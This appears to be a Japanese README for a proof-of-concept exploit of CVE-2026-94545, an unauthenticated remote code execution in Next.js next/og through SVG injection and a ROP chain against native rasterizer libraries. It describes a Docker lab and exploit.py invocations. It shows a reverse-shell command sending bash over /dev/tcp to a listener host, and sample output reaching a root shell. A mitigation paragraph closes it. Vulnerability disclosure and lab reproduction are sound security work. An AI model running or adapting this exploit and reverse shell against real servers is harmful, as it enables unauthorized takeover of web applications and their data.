
CVE-2026-94545の概念実証エクスプロイト。Next.jsのnext/ogにおける未認証RCEで、SVGインジェクションとネイティブsharpラスタライザに対するROPチェーンを悪用する。
★ CVE-2026-94545 Next.js next/og SVGインジェクションからネイティブRCEへ ★
https://github.com/user-attachments/assets/e297b40b-36ad-4a9a-b0c1-a64429bc0160
next/ogは、JSXをSatoriでSVGにレンダリングし、そのSVGをラスタライズすることでOpen Graph画像を生成します。Satoriはユーザー提供のテキストをエスケープせずにSVGへ書き込むため(CWE-116)、リクエストによって周囲の要素を閉じ、独自のSVGマークアップを注入できます。ルートがNode.jsランタイムで動作し、sharpがインストールされている場合、そのSVGはサンドボックス化されたwasmレンダラーではなく、ネイティブライブラリ(libvips、librsvg、libxml2)によってラスタライズされます。 XInclude参照とネストされたDTDエンティティから構築されたペイロードは、そのネイティブパーサー内のメモリを破壊します。公式のNode.jsバイナリはnon-PIEであるため、そのコードとGOTはランダム化されておらず、固定のROPチェーンがアドレスリークなしでexecveに到達します。OG画像ルートへの未認証リクエスト1回で、サーバープロセスとしてコマンドを実行するのに十分です。
| カテゴリ | バージョン |
|---|---|
| 脆弱 | Next.js 16.2.0 – 16.3.5(Nodeランタイム、sharp が存在)、Satori >=0.0.27 <0.33.5 |
| 修正済み | Next.js 16.3.6 / Satori 0.33.5 以降 |
影響を受けるのはNode.jsランタイムのパスのみです。
export const runtime = 'edge'の場合、またはsharpなしのインストールでは、画像はサンドボックス化されたresvg-wasmレンダラーによって描画され、このバグはコード実行には至りません。
ImageResponse に渡すルートはすべてシンクとなります。execve が成功するとワーカーが置き換わるため、HTTPリクエストは単に切断され、結果はリバースシェルやコマンドからの外部通信など、別の方法で返す必要があります。脆弱な構成を再現する最小限のNext.jsアプリです。/api/og のルートはNodeランタイムで
ImageResponse をレンダリングし、ネイティブラスタライザーが使用されるよう sharp がインストールされています。
このイメージは、ROPチェーンが依存する正確なスタックを固定します(Node 24.20.0 non-PIE、Next 16.3.5、sharp
0.35.4とlibvips 8.18.6、librsvg 2.62.91、libxml2 2.15.3)。最初のビルドではNodeを取得し、npm依存関係をインストールして next build を実行します。これには数分かかります。
docker build -t cve-2026-94545 .
docker run -d --name cve-2026-94545 -p 3000:3000 cve-2026-94545
# sanity check: a benign render returns 200
curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:3000/api/og?value=hello"
| 前提条件 | このラボでの状態 |
|---|---|
| Nodeランタイム上のNext.js 16.2.0 – 16.3.5 | Next 16.3.5、runtime = 'nodejs' |
sharp がインストールされ、ネイティブのlibrsvg/libxml2パスが使用される | sharp 0.35.4、libvips 8.18.6、rsvg 2.62.91、xml2 2.15.3 |
| 安定したROPベースのためのnon-PIE Nodeバイナリ | 公式Node v24.20.0 linux-x64(SHA検証済み) |
| 認証なしで到達可能なOG画像ルート | GET および POST /api/og、リクエストテキストがSVG <title> に入る |
| リバースシェル用のアウトバウンドパスが利用可能 | bash と /dev/tcp が存在する |
脆弱なルートは POST /api/og です。リクエストボディを受け取り、ラスタライズ前にSVG <title> へ配置します。exploit.py は選択したコマンド用のSVGを構築し、ROPチェーンを <path> にエンコードして、それをルートへ送信します。
最も簡単な実行はリバースシェルを開きます。ターゲットとリスナーアドレスを指定すると、nc を起動し、リクエストを発火して、シェルを渡します。
python3 exploit.py --target 172.17.0.3:3000 --lhost 172.17.0.4:4444
ペイロードは環境に記載されたスタックに合わせて調整されているため、このイメージ、または同じNodeとsharpビルドのホストに対して実行してください。攻撃が成功するとnodeプロセスがあなたのコマンドに置き換わり、HTTPリクエストは切断され、コンテナを再起動するまでサービスは応答を停止します。
[*] Command: bash -c 'bash -i>&/dev/tcp/172.17.0.4/4444 0>&1' (49 bytes)
[*] payload bytes=24693 sha256=...
[*] Listener: nc -lvnp 4444
[*] POST http://172.17.0.3:3000/api/og (24693 bytes)
[*] Target closed connection (expected)
connect to [172.17.0.4] from (UNKNOWN) [172.17.0.3] 43118
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux 6e2b1c4a7f9d 5.15.0 #1 SMP x86_64 GNU/Linux
リバースシェルはサーバープロセスとして実行され、単一の未認証リクエストからのコード実行を確認します。リスナーなしで1つのコマンドを実行するには、直接渡します。出力はHTTP経由で返らないため、確認したいものはコマンドが帯域外で送信する必要があることに注意してください。
# single command, no listener
python3 exploit.py --target 172.17.0.3:3000 --command "id"
# only build the payload, then send it yourself
python3 exploit.py --target 172.17.0.3:3000 --command "id" --output payload.bin
curl --data-binary @payload.bin -H "Content-Type: text/plain" http://172.17.0.3:3000/api/og
next/og ルートを export const runtime = 'edge' に移動してサンドボックス化されたwasmレンダラーを使用するか、sharp を削除してネイティブパスに到達しないようにし、サニタイズされていないユーザー入力を ImageResponse の子要素から排除してください。